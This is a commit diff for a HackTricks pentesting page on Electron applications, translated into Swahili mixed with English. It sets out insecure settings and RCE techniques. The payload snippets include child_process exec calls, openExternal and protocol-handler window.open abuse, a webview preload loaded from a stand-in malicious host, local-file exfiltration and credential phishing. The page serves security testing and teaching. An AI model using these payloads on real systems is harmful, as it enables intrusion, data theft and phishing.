mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/electron-des
This commit is contained in:
Translator
parent
5cc6933240
commit
b0e7b4517b
@ -4,23 +4,23 @@
|
||||
|
||||
## Utangulizi
|
||||
|
||||
Electron huunganisha backend ya ndani (na **NodeJS**) na frontend (**Chromium**), ingawa haijumuishi baadhi ya mifumo ya usalama ya vichunguzi vya kisasa.
|
||||
Electron inaunganisha backend ya ndani (kwa **NodeJS**) na frontend (**Chromium**), ingawa haina baadhi ya mekanismo ya usalama ya vivinjari vya kisasa.
|
||||
|
||||
Mara nyingi utapata msimbo wa programu ya Electron ndani ya faili la `.asar`; ili kupata msimbo, unahitaji kuliondoa:
|
||||
Kawaida unaweza kupata msimbo wa app ya Electron ndani ya faili la `.asar`; ili kupata msimbo unahitaji kuitoa:
|
||||
```bash
|
||||
npx asar extract app.asar destfolder #Extract everything
|
||||
npx asar extract-file app.asar main.js #Extract just a file
|
||||
```
|
||||
Katika msimbo wa chanzo wa app ya Electron, ndani ya `packet.json`, unaweza kupata faili `main.js` iliyobainishwa ambapo security configs zimewekwa.
|
||||
Katika msimbo wa chanzo wa app ya Electron, ndani ya `packet.json`, unaweza kupata faili `main.js` iliyobainishwa ambapo mipangilio ya usalama imewekwa.
|
||||
```json
|
||||
{
|
||||
"name": "standard-notes",
|
||||
"main": "./app/index.js",
|
||||
```
|
||||
Electron ina aina mbili za michakato:
|
||||
Electron ina aina 2 za michakato:
|
||||
|
||||
- Mchakato Mkuu (ina ufikiaji kamili wa NodeJS)
|
||||
- Mchakato wa Renderer (unapaswa kuwa na ufikiaji uliopunguzwa wa NodeJS kwa sababu za usalama)
|
||||
- Mchakato wa Renderer (inapaswa kuwa na ufikiaji uliopunguzwa wa NodeJS kwa sababu za usalama)
|
||||
|
||||
.png>)
|
||||
|
||||
@ -32,20 +32,20 @@ let win = new BrowserWindow()
|
||||
//Open Renderer Process
|
||||
win.loadURL(`file://path/to/index.html`)
|
||||
```
|
||||
Mipangilio ya **mchakato wa renderer** yanaweza **kuwekwa** katika **mchakato mkuu** ndani ya faili main.js. Baadhi ya mipangilio hiyo itaweza **kuzuia Electron application kupata RCE** au udhaifu mwingine ikiwa **mipangilio imewekwa ipasavyo**.
|
||||
Mipangilio ya **renderer process** yanaweza **kusanidiwa** katika **main process** ndani ya faili main.js. Baadhi ya mipangilio zitaweza **kuzuia programu ya Electron kupata RCE** au udhaifu mwingine ikiwa **mipangilio yamewekwa kwa usahihi**.
|
||||
|
||||
The electron application **inaweza kufikia kifaa** kupitia Node apis ingawa inaweza kuwekewa mipangilio ili kuzuia hilo:
|
||||
Programu ya Electron inaweza **kufikia kifaa** kupitia Node apis ingawa inaweza kusanidiwa kuzuia hilo:
|
||||
|
||||
- **`nodeIntegration`** - is `off` by default. If on, allows to access node features from the renderer process.
|
||||
- **`contextIsolation`** - is `on` by default. If off, main and renderer processes aren't isolated.
|
||||
- **`preload`** - empty by default.
|
||||
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - is off by default. It will restrict the actions NodeJS can perform.
|
||||
- **`nodeIntegration`** - imezimwa (`off`) kwa chaguo-msingi. Ikiwa imewashwa, inaruhusu kufikia vipengele vya node kutoka kwa **renderer process**.
|
||||
- **`contextIsolation`** - imewashwa (`on`) kwa chaguo-msingi. Ikiwa imezimwa, **main** na **renderer processes** hazitengwa.
|
||||
- **`preload`** - tupu (`empty`) kwa chaguo-msingi.
|
||||
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - imezimwa kwa chaguo-msingi. Itafanya vikwazo kwa vitendo vinavyoweza kufanywa na NodeJS.
|
||||
- Node Integration in Workers
|
||||
- **`nodeIntegrationInSubframes`**- is `off` by default.
|
||||
- If **`nodeIntegration`** is **enabled**, this would allow the use of **Node.js APIs** in web pages that are **loaded in iframes** within an Electron application.
|
||||
- If **`nodeIntegration`** is **disabled**, then preloads will load in the iframe
|
||||
- **`nodeIntegrationInSubframes`** - imezimwa (`off`) kwa chaguo-msingi.
|
||||
- Ikiwa **`nodeIntegration`** imewezeshwa (**enabled**), hii itaruhusu matumizi ya **Node.js APIs** katika kurasa za wavuti ambazo zime **loaded in iframes** ndani ya programu ya Electron.
|
||||
- Ikiwa **`nodeIntegration`** imezimwa (**disabled**), basi preloads zitapakia ndani ya iframe
|
||||
|
||||
Example of configuration:
|
||||
Mfano wa configuration:
|
||||
```javascript
|
||||
const mainWindowOptions = {
|
||||
title: "Discord",
|
||||
@ -97,13 +97,14 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" />
|
||||
```
|
||||
### Kukamata trafiki
|
||||
|
||||
Badilisha usanidi wa start-main na uongeze matumizi ya proxy kama:
|
||||
Badilisha usanidi wa start-main na ongeza matumizi ya proxy kama:
|
||||
```javascript
|
||||
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
|
||||
```
|
||||
## Electron Local Code Injection
|
||||
|
||||
Ikiwa unaweza kuendesha App ya Electron kwa ndani, kuna uwezekano unaweza kuifanya iendeshe msimbo wowote wa javascript. Angalia jinsi katika:
|
||||
Ikiwa unaweza kuendesha App ya Electron kwenye mashine yako (locally), inawezekana unaweza kuifanya itekeleze arbitrary javascript code. Angalia jinsi katika:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
|
||||
@ -111,7 +112,7 @@ Ikiwa unaweza kuendesha App ya Electron kwa ndani, kuna uwezekano unaweza kuifan
|
||||
|
||||
## RCE: XSS + nodeIntegration
|
||||
|
||||
Ikiwa **nodeIntegration** imewekwa kuwa **on**, javascript ya ukurasa wa wavuti inaweza kutumia vipengele za Node.js kwa urahisi kwa kuitisha `require()`. Kwa mfano, njia ya kuendesha programu calc kwenye Windows ni:
|
||||
Ikiwa **nodeIntegration** imewekwa kuwa **on**, JavaScript ya ukurasa wa wavuti inaweza kutumia vipengele vya Node.js kwa urahisi kwa kuita `require()`. Kwa mfano, njia ya kuendesha programu calc kwenye Windows ni:
|
||||
```html
|
||||
<script>
|
||||
require("child_process").exec("calc")
|
||||
@ -123,7 +124,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
|
||||
|
||||
## RCE: preload
|
||||
|
||||
Skripti iliyotajwa katika mipangilio hii in**apakiwa kabla ya skripti zingine katika renderer**, hivyo ina **ufikiaji usio na mipaka kwa Node APIs**:
|
||||
Script iliyotajwa katika mpangilio huu ni l**imepakiwa kabla ya scripts nyingine katika renderer**, hivyo ina **ufikiaji usio na mipaka kwa Node APIs**:
|
||||
```javascript
|
||||
new BrowserWindow{
|
||||
webPreferences: {
|
||||
@ -132,7 +133,7 @@ preload: _path2.default.join(__dirname, 'perload.js'),
|
||||
}
|
||||
});
|
||||
```
|
||||
Hivyo, script inaweza kusafirisha node-features hadi pages:
|
||||
Kwa hivyo, script inaweza export node-features kwa pages:
|
||||
```javascript:preload.js
|
||||
typeof require === "function"
|
||||
window.runCalc = function () {
|
||||
@ -152,16 +153,16 @@ runCalc()
|
||||
|
||||
## RCE: XSS + contextIsolation
|
||||
|
||||
The _**contextIsolation**_ inatoa **muktadha uliogawanywa kati ya script za ukurasa wa wavuti na code ya ndani ya JavaScript ya Electron** ili utekelezaji wa JavaScript wa kila code usiathiriane. Hii ni sifa muhimu kuondoa uwezekano wa RCE.
|
||||
The _**contextIsolation**_ huunda **muktadha uliotengwa kati ya script za ukurasa wa wavuti na msimbo wa ndani wa JavaScript wa Electron** ili utekelezaji wa JavaScript wa kila upande usiathiriane. Hii ni kipengele muhimu kuondoa uwezekano wa RCE.
|
||||
|
||||
Ikiwa muktadha haujatengwa, mshambuliaji anaweza:
|
||||
Kama muktadha haujatengwa, mshambuliaji anaweza:
|
||||
|
||||
1. Kutekeleza **arbitrary JavaScript in renderer** (XSS au navigation to external sites)
|
||||
2. **Kuandika upya built-in method** inayotumiwa katika preload au code ya ndani ya Electron ili kumiliki function
|
||||
3. **Chochea** matumizi ya **overwritten function**
|
||||
1. Execute **arbitrary JavaScript in renderer** (XSS or navigation to external sites)
|
||||
2. **Overwrite the built-in method** which is used in preload or Electron internal code to own function
|
||||
3. **Trigger** the use of **overwritten function**
|
||||
4. RCE?
|
||||
|
||||
Kuna sehemu 2 ambapo built-in methods zinaweza kuandikwa upya: Katika code ya preload au katika code ya ndani ya Electron:
|
||||
Kuna maeneo 2 ambapo built-in methods zinaweza kuandikwa upya: katika preload code au katika Electron internal code:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -178,24 +179,24 @@ electron-contextisolation-rce-via-electron-internal-code.md
|
||||
electron-contextisolation-rce-via-ipc.md
|
||||
{{#endref}}
|
||||
|
||||
### Kuepuka vikwazo vya tukio la klik
|
||||
### Kupitisha tukio la click
|
||||
|
||||
Ikiwa vikwazo vinapotumika unapobofya kiungo, huenda ukaweza kuviweka kando kwa **kufanya middle click** badala ya bonyeza la kushoto la kawaida.
|
||||
Ikiwa kuna vikwazo vinavyotumika unapobofya link, unaweza kuwa na uwezo wa kuvishinda kwa **kufanya bonyezo la kati** badala ya bonyezo la kushoto la kawaida
|
||||
```javascript
|
||||
window.addEventListener('click', (e) => {
|
||||
```
|
||||
## RCE via shell.openExternal
|
||||
## RCE kupitia shell.openExternal
|
||||
|
||||
Kwa taarifa zaidi kuhusu mifano hii angalia [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) na [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
|
||||
Kwa habari zaidi kuhusu mifano hii angalia [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) na [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
|
||||
|
||||
Wakati wa kupeleka programu ya desktop ya Electron, kuhakikisha mipangilio sahihi ya `nodeIntegration` na `contextIsolation` ni muhimu. Imebainika kwamba **client-side remote code execution (RCE)** inayolenga preload scripts au Electron's native code kutoka kwa main process inazuiziwa kwa ufanisi pale mipangilio haya yanapowekwa.
|
||||
Unapoweka programu ya desktop ya Electron, kuhakikisha mipangilio sahihi ya `nodeIntegration` na `contextIsolation` ni muhimu. Imebainishwa kuwa **client-side remote code execution (RCE)** inayolenga preload scripts au Electron's native code kutoka main process inazuia kwa ufanisi wakati mipangilio hii iko.
|
||||
|
||||
Wakati mtumiaji anabofya linki au kufungua windows mpya, wasikilizaji maalum wa matukio huchomwa, ambayo ni muhimu kwa usalama na utendakazi wa programu:
|
||||
Wakati mtumiaji anaposhirikiana na viungo au kufungua madirisha mapya, event listeners maalum huamshwa, ambazo ni muhimu kwa usalama na utendaji wa programu:
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {}
|
||||
webContents.on("will-navigate", function (event, url) {}
|
||||
```
|
||||
Wasikilizaji hawa huandikishwa upya na programu ya desktop ili kutekeleza mantiki yake ya biashara. Programu hupima ikiwa kiungo kilichopitiwa kinapaswa kufunguliwa ndani ya programu au katika kivinjari cha mtandao cha nje. Uamuzi huu kawaida hufanywa kupitia function, `openInternally`. Ikiwa function hii inarejesha `false`, inamaanisha kwamba kiungo kinapaswa kufunguliwa kwa nje, kwa kutumia function ya `shell.openExternal`.
|
||||
Wanasikilizi hawa **hurekebishwa na programu ya desktop** ili kutekeleza **mantiki yake ya biashara**. Programu huamua kama kiungo kilichosogezwa kinapaswa kufunguliwa ndani au katika browser ya mtandao ya nje. Uamuzi huu kwa kawaida hufanywa kupitia function, `openInternally`. Ikiwa function hii inarudisha `false`, inaonyesha kwamba kiungo kinapaswa kufunguliwa nje, kwa kutumia function ya `shell.openExternal`.
|
||||
|
||||
**Here is a simplified pseudocode:**
|
||||
|
||||
@ -203,11 +204,11 @@ Wasikilizaji hawa huandikishwa upya na programu ya desktop ili kutekeleza mantik
|
||||
|
||||
.png>)
|
||||
|
||||
Electron JS security best practices zinashauri kutoikubali content isiyotegemewa kwa kutumia function ya `openExternal`, kwani inaweza kusababisha RCE kupitia protokoli mbalimbali. Mifumo ya uendeshaji inaunga mkono protokoli tofauti ambazo zinaweza kusababisha RCE. Kwa mifano ya kina na maelezo zaidi juu ya mada hii, tazama [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), ambayo inajumuisha mifano ya protokoli za Windows zinazoweza kutumia udhaifu huu.
|
||||
Electron JS security best practices inashauri kutoikubali untrusted content kwa `openExternal` function, kwani inaweza kusababisha RCE kupitia protocols mbalimbali. Mifumo ya uendeshaji inasaidia protocols tofauti ambazo zinaweza kusababisha RCE. Kwa mifano ya kina na maelezo zaidi kuhusu mada hii, unaweza rejea [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), ambayo inajumuisha Windows protocol examples zinazoweza kutumika kuchoma udhaifu huu.
|
||||
|
||||
In macos, the `openExternal` function inaweza kutumiwa kutekeleza amri za kiholela kama katika `shell.openExternal('file:///System/Applications/Calculator.app')`.
|
||||
Katika macos, function ya `openExternal` inaweza kutumika vibaya kuchochea utekelezaji wa amri za hiari kama katika `shell.openExternal('file:///System/Applications/Calculator.app')`.
|
||||
|
||||
**Mifano ya Windows protocol exploits ni pamoja na:**
|
||||
**Mifano ya exploits za protocol za Windows ni pamoja na:**
|
||||
```html
|
||||
<script>
|
||||
window.open(
|
||||
@ -227,17 +228,17 @@ window.open(
|
||||
)
|
||||
</script>
|
||||
```
|
||||
## RCE: webviewTag + dhaifu preload IPC + shell.openExternal
|
||||
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
|
||||
|
||||
Udhaifu huu unaweza kupatikana katika **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
|
||||
|
||||
The **webviewTag** ni **sifa iliyopitwa na wakati** inayoruhusu matumizi ya **NodeJS** katika **renderer process**, ambayo inapaswa kuzimwa kwani inaruhusu kupakia script ndani ya **preload context** kama:
|
||||
The **webviewTag** ni **sifa iliyokataliwa** inayoruhusu matumizi ya **NodeJS** katika **renderer process**, ambayo inapaswa kuzimwa kwani inaruhusu kupakia script ndani ya **preload context** kama:
|
||||
```xml
|
||||
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
|
||||
```
|
||||
Kwa hivyo, mdukuzi ambaye anafanikiwa kupakia ukurasa wowote anaweza kutumia tag hiyo ili **load an arbitrary preload script**.
|
||||
Kwa hiyo, mshambulizi ambaye anafanikiwa kupakia ukurasa wowote angeweza kutumia tag hiyo ili **load an arbitrary preload script**.
|
||||
|
||||
Script hii ya preload ilitumiwa vibaya kisha kuitumia kuita **vulnerable IPC service (`skype-new-window`)** ambayo ilikuwa ikipiga **`shell.openExternal`** ili kupata RCE:
|
||||
Preload script hii ilitumiwa vibaya kisha kuita **vulnerable IPC service (`skype-new-window`)** ambayo ilikuwa ikiita **`shell.openExternal`** ili kupata RCE:
|
||||
```javascript
|
||||
(async() => {
|
||||
const { ipcRenderer } = require("electron");
|
||||
@ -248,13 +249,13 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
|
||||
}, 5000);
|
||||
})();
|
||||
```
|
||||
## Kusoma Mafaili ya Ndani: XSS + contextIsolation
|
||||
## Kusoma Faili za Ndani: XSS + contextIsolation
|
||||
|
||||
**Kuzima `contextIsolation` kunaruhusu matumizi ya tags `<webview>`**, sawa na `<iframe>`, kwa kusoma na exfiltrating mafaili ya ndani. Mifano iliyotolewa inaonyesha jinsi ya exploit udhaifu huu ili kusoma yaliyomo ya mafaili ya ndani:
|
||||
**Kuzima `contextIsolation` kunaruhusu matumizi ya `<webview>` tags**, sawa na `<iframe>`, kwa kusoma na exfiltrating faili za ndani. Mfano uliotolewa unaonyesha jinsi ya exploit udhaifu huu ili kusoma yaliyomo ya faili za ndani:
|
||||
|
||||
.png>)
|
||||
|
||||
Aidha, njia nyingine ya **kusoma faili ya ndani** imeshirikiwa, ikionyesha udhaifu muhimu wa local file read katika Electron desktop app. Hii inahusisha kuingiza script ili exploit application na exfiltrate data:
|
||||
Mbali na hayo, njia nyingine ya **kusoma faili ya ndani** imeshirikiwa, ikionyesha udhaifu hatari wa local file read katika Electron desktop app. Hii inahusisha kuingiza script ili exploit application na exfiltrate data:
|
||||
```html
|
||||
<br /><br /><br /><br />
|
||||
<h1>
|
||||
@ -272,43 +273,43 @@ frames[0].document.body.innerText
|
||||
```
|
||||
## **RCE: XSS + Chromium ya zamani**
|
||||
|
||||
Ikiwa **chromium** inayotumika na application ni **ya zamani** na kuna **known vulnerabilities** juu yake, inaweza kuwa inawezekana **kuitumia na kupata RCE kupitia XSS**.\
|
||||
Unaweza kuona mfano katika **writeup** hii: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
||||
Ikiwa **chromium** inayotumiwa na programu ni **zamani** na kuna **known** **vulnerabilities** juu yake, inaweza kuwa inawezekana kufanya **exploit** na kupata **RCE** kupitia **XSS**.\
|
||||
Unaweza kuona mfano katika **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
||||
|
||||
## **XSS Phishing kupitia Internal URL regex bypass**
|
||||
## **XSS Phishing via Internal URL regex bypass**
|
||||
|
||||
Kama umepata XSS lakini **huwezi kusababisha RCE au kuiba faili za ndani** unaweza kujaribu kuitumia kuiba **credentials kupitia phishing**.
|
||||
Kama umepata XSS lakini **huwezi kusababisha RCE au kuiba internal files**, unaweza kujaribu kuitumia **kuiba credentials kupitia phishing**.
|
||||
|
||||
Kwanza kabisa unahitaji kujua kinachotokea unapo jaribu kufungua URL mpya, ukichunguza JS code kwenye front-end:
|
||||
Kwanza kabisa unahitaji kujua kinachotokea unapo jaribu kufungua URL mpya, kwa kuangalia code ya JS kwenye front-end:
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
|
||||
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
|
||||
```
|
||||
Mwito wa **`openInternally`** utaamua kama **link** itafunguliwa katika **desktop window** kwa kuwa ni link inayomilikiwa na jukwaa, **or** itafunguliwa katika **browser as a 3rd party resource**.
|
||||
Mwito wa **`openInternally`** utaamua kama **link** itafunguliwa katika **desktop window** kwa kuwa ni link inayomilikiwa na platform, **au** ikiwa itafunguliwa katika **browser as a 3rd party resource**.
|
||||
|
||||
Katika kesi **regex** inayotumiwa na function iko **vulnerable to bypasses** (kwa mfano kwa **not escaping the dots of subdomains**), mshambuliaji anaweza kutumia XSS ili **open a new window which** itakayopangwa katika miundombinu ya mshambuliaji na kuwa **asking for credentials** kwa mtumiaji:
|
||||
Katika kesi ambapo **regex** inayotumika na function ni **vulnerable to bypasses** (kwa mfano kwa **not escaping the dots of subdomains**) attacker anaweza kutumia XSS vibaya ili **open a new window which** itakayokuwa kwenye miundombinu ya attacker ikimuomba mtumiaji **credentials**:
|
||||
```html
|
||||
<script>
|
||||
window.open("<http://subdomainagoogleq.com/index.html>")
|
||||
</script>
|
||||
```
|
||||
## `file://` Protocol
|
||||
## Itifaki ya `file://`
|
||||
|
||||
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** zina ufikiaji wa pande moja kwa kila faili kwenye mashine yako, ikimaanisha kwamba **XSS issues can be used to load arbitrary files** kutoka kwa mashine ya mtumiaji. Kutumia **protokoli maalum** kunazuia matatizo kama haya kwa sababu unaweza kuzuia protokoli kutoa tu seti maalum ya faili.
|
||||
Kama ilivyoelezwa katika [nyaraka](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) kurasa zinazotumika kwa **`file://`** zina upatikanaji wa upande mmoja kwa kila faili kwenye mashine yako, ikimaanisha kuwa **masuala ya XSS yanaweza kutumika kupakia faili yoyote** kutoka kwenye mashine ya mtumiaji. Kutumia **itifaki maalum** kunazuia matatizo kama haya kwa sababu unaweza kuzuia itifaki hiyo kuhudumia seti maalum ya faili tu.
|
||||
|
||||
## Remote module
|
||||
## Moduli ya Remote
|
||||
|
||||
The Electron Remote module inaruhusu **renderer processes to access main process APIs**, ikirahisisha mawasiliano ndani ya programu ya Electron. Hata hivyo, kuamilisha module hii kunaleta hatari kubwa za usalama. Inapanua uso wa kushambuliwa wa programu, na kuifanya iwe nyeti zaidi kwa udhaifu kama vile cross-site scripting (XSS) attacks.
|
||||
Moduli ya Remote ya Electron inaruhusu **michakato ya renderer kufikia APIs za main process**, ikirahisisha mawasiliano ndani ya programu ya Electron. Hata hivyo, kuziwezesha moduli hii kunaleta hatari kubwa za usalama. Kunaongeza uso wa mashambulio ya programu, na kuifanya iwe nyeti zaidi kwa udhaifu kama vile cross-site scripting (XSS) attacks.
|
||||
|
||||
> [!TIP]
|
||||
> Ingawa **remote** module inaonyesha baadhi ya APIs kutoka main hadi renderer processes, si moja kwa moja kupata RCE kwa kutumia components pekee. Hata hivyo, components zinaweza kufichua taarifa nyeti.
|
||||
> Ingawa moduli ya **remote** inaonyesha baadhi ya APIs kutoka main kwenda renderer processes, si rahisi kupata RCE kwa kuchukua faida ya vipengele hivi peke yao. Hata hivyo, vipengele vinaweza kufichua taarifa nyeti.
|
||||
|
||||
> [!WARNING]
|
||||
> Programu nyingi zinazotumia remote module bado hufanya hivyo kwa njia inayohitaji **NodeIntegration to be enabled** katika renderer process, ambayo ni **huge security risk**.
|
||||
> Programu nyingi ambazo bado zinatumia moduli ya **remote** hufanya hivyo kwa njia inayohitaji **NodeIntegration** kuwa imewezeshwa katika renderer process, ambayo ni **hatari kubwa ya usalama**.
|
||||
|
||||
Tangu Electron 14 `remote` module ya Electron inaweza kuamshwa kwa njia kadhaa; kutokana na sababu za usalama na utendakazi ni **inashauriwa kutotumia**.
|
||||
Tangu Electron 14, moduli ya `remote` ya Electron inaweza kuanzishwa kwa njia kadhaa; kutokana na sababu za usalama na utendaji, **inashauriwa kutoitumia**.
|
||||
|
||||
Ili kuiwezesha, kwanza ilihitajika **enable it in the main process**:
|
||||
Ili kuiwezesha, kwanza inahitajika **kuiwezesha katika main process**:
|
||||
```javascript
|
||||
const remoteMain = require('@electron/remote/main')
|
||||
remoteMain.initialize()
|
||||
@ -319,37 +320,37 @@ mainWindow = new BrowserWindow({
|
||||
})
|
||||
remoteMain.enable(mainWindow.webContents)
|
||||
```
|
||||
Kisha, mchakato wa renderer unaweza ku-import objects kutoka kwa module kama ifuatavyo:
|
||||
Kisha, mchakato wa renderer unaweza import objects kutoka kwa module kama ifuatavyo:
|
||||
```javascript
|
||||
import { dialog, getCurrentWindow } from '@electron/remote'
|
||||
```
|
||||
**[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** inaonyesha baadhi ya kazi za kuvutia zilizoonyeshwa na object **`app`** kutoka kwa remote module:
|
||||
The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** inaonyesha baadhi ya **kazi** za kuvutia zilizoonyeshwa na kitu **`app`** kutoka moduli ya remote:
|
||||
|
||||
- **`app.relaunch([options])`**
|
||||
- **Inaanza upya** programu kwa **kuacha** instance ya sasa na **kuzindua** mpya. Inafaa kwa **sasisho za app** au **mabadiliko makubwa ya hali**.
|
||||
- **Inarejesha** programu kwa **kutoka** kwa toleo la sasa na **kuanzisha** toleo jipya. Inafaa kwa **app updates** au mabadiliko makubwa ya **hali**.
|
||||
- **`app.setAppLogsPath([path])`**
|
||||
- **Hutangaza** au **huunda** saraka kwa kuhifadhi **app logs**. Logi hizo zinaweza **kutolewa** au **kuhaririwa** kwa kutumia **`app.getPath()`** au **`app.setPath(pathName, newPath)`**.
|
||||
- **Inabainisha** au **inaunda** saraka kwa kuhifadhi **app logs**. Logi zinaweza **kupatikana** au **kubadilishwa** kwa kutumia **`app.getPath()`** au **`app.setPath(pathName, newPath)`**.
|
||||
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
|
||||
- **Inasajili** executable ya sasa kama **default handler** kwa protocol fulani. Unaweza kutoa **custom path** na **arguments** kama inavyohitajika.
|
||||
- **Inasajili** executable ya sasa kama **mshughulikiaji chaguo-msingi** kwa **protocol** iliyotajwa. Unaweza kutoa **custom path** na **arguments** ikiwa zinahitajika.
|
||||
- **`app.setUserTasks(tasks)`**
|
||||
- **Inaongeza** tasks kwenye **Tasks category** katika **Jump List** (on Windows). Kila task inaweza kudhibiti jinsi app inavyofunguliwa au ni **arguments** gani zinapitishwa.
|
||||
- **Inaongeza** tasks katika **Tasks category** katika **Jump List** (kwa Windows). Kila task inaweza kudhibiti jinsi app inavy **zinduliwa** au ni **arguments** gani zinapitishwa.
|
||||
- **`app.importCertificate(options, callback)`**
|
||||
- **Inaingiza** cheti cha **PKCS#12** kwenye **certificate store** ya mfumo (Linux tu). **Callback** inaweza kutumika kushughulikia matokeo.
|
||||
- **`app.moveToApplicationsFolder([options])`**
|
||||
- **Inahamisha** programu kwenda **Applications folder** (on macOS). Husaidia kuhakikisha **standard installation** kwa watumiaji wa Mac.
|
||||
- **Inahamisha** programu kwenda **Applications folder** (kwa macOS). Husaidia kuhakikisha **standard installation** kwa watumiaji wa Mac.
|
||||
- **`app.setJumpList(categories)`**
|
||||
- **Inaunda** au **inaondoa** **custom Jump List** kwenye **Windows**. Unaweza kubainisha **categories** kupanga jinsi tasks zinavyoonekana kwa mtumiaji.
|
||||
- **Inaweka** au **inaondoa** **custom Jump List** kwenye **Windows**. Unaweza kubainisha **categories** kupanga jinsi tasks zinavyoonekana kwa mtumiaji.
|
||||
- **`app.setLoginItemSettings(settings)`**
|
||||
- **Inasanidi** ni executable zipi zinaanzishwa wakati wa **login** pamoja na **options** zao (macOS na Windows pekee).
|
||||
- **Inasanidi** ni executables gani zinazoanzishwa wakati wa **login** pamoja na **options** zao (macOS na Windows tu).
|
||||
|
||||
Mfano:
|
||||
Example:
|
||||
```javascript
|
||||
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
|
||||
Native.app.exit()
|
||||
```
|
||||
## systemPreferences module
|
||||
## systemPreferences moduli
|
||||
|
||||
Ni **API ya msingi** kwa kufikia mapendeleo ya mfumo na **kutuma matukio ya mfumo** katika Electron. Mbinu kama **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, na **setUserDefault** zote ni **sehemu ya** moduli hii.
|
||||
Hii ndiyo **API kuu** ya kufikia mapendeleo ya mfumo na **kupeleka matukio ya mfumo** katika Electron. Mbinu kama **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, na **setUserDefault** zote ni **sehemu ya** moduli hii.
|
||||
|
||||
**Mfano wa matumizi:**
|
||||
```javascript
|
||||
@ -366,31 +367,31 @@ console.log('Recent Places:', recentPlaces);
|
||||
```
|
||||
### **subscribeNotification / subscribeWorkspaceNotification**
|
||||
|
||||
* **Inasikiliza** arifa za asili za **macOS** kwa kutumia NSDistributedNotificationCenter.
|
||||
* Kabla ya **macOS Catalina**, uliweza sniff **all** distributed notifications kwa kupitisha **nil** kwa CFNotificationCenterAddObserver.
|
||||
* Baada ya **Catalina / Big Sur**, apps zilizo kwenye sandbox bado zinaweza **subscribe** kwa **many events** (kwa mfano, **screen locks/unlocks**, **volume mounts**, **network activity**, n.k.) kwa kusajili notifications **by name**.
|
||||
* **Inasikiliza** kwa **native macOS notifications** kutumia NSDistributedNotificationCenter.
|
||||
* Kabla ya **macOS Catalina**, unaweza sniff **zote** distributed notifications kwa kuipatia **nil** kwa CFNotificationCenterAddObserver.
|
||||
* Baada ya **Catalina / Big Sur**, sandboxed apps bado zinaweza **subscribe** kwa **matukio mengi** (kwa mfano, **screen locks/unlocks**, **volume mounts**, **network activity**, n.k.) kwa kujiandikisha notifications **kwa jina**.
|
||||
|
||||
### **getUserDefault / setUserDefault**
|
||||
|
||||
* **Inashirikiana** na NSUserDefaults, ambayo huhifadhi mapendeleo ya programu au ya kimataifa kwenye macOS.
|
||||
* **Inawasiliana** na **NSUserDefaults**, ambayo inahifadhi mapendeleo ya **programu** au **global** kwenye macOS.
|
||||
|
||||
* **getUserDefault** inaweza kupata taarifa nyeti, kama maeneo ya faili yaliyotumika hivi karibuni au eneo la kijiografia la mtumiaji.
|
||||
* **getUserDefault** inaweza **kupata** taarifa nyeti, kama **mahali za faili za hivi karibuni** au **eneo la kijiografia la mtumiaji**.
|
||||
|
||||
* **setUserDefault** inaweza kubadilisha mapendeleo haya, ambayo yanaweza kuathiri usanidi wa app.
|
||||
* **setUserDefault** inaweza **kubadilisha** mapendeleo haya, na kuathiri **usanidi** ya app.
|
||||
|
||||
* Katika **matoleo ya zamani ya Electron** (kabla ya v8.3.0), tu **standard suite** ya NSUserDefaults ilikuwa inapatikana.
|
||||
* Katika **older Electron versions** (kabla ya v8.3.0), tu **standard suite** ya NSUserDefaults ilikuwa **inayopatikana**.
|
||||
|
||||
## Shell.showItemInFolder
|
||||
|
||||
Kazi hii inaonyesha faili iliyotolewa katika file manager, ambayo inaweza moja kwa moja kuendesha faili hiyo.
|
||||
Kazi hii inaonyesha faili iliyotolewa katika meneja wa faili, ambayo inaweza **kuitekeleza faili moja kwa moja**.
|
||||
|
||||
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
||||
|
||||
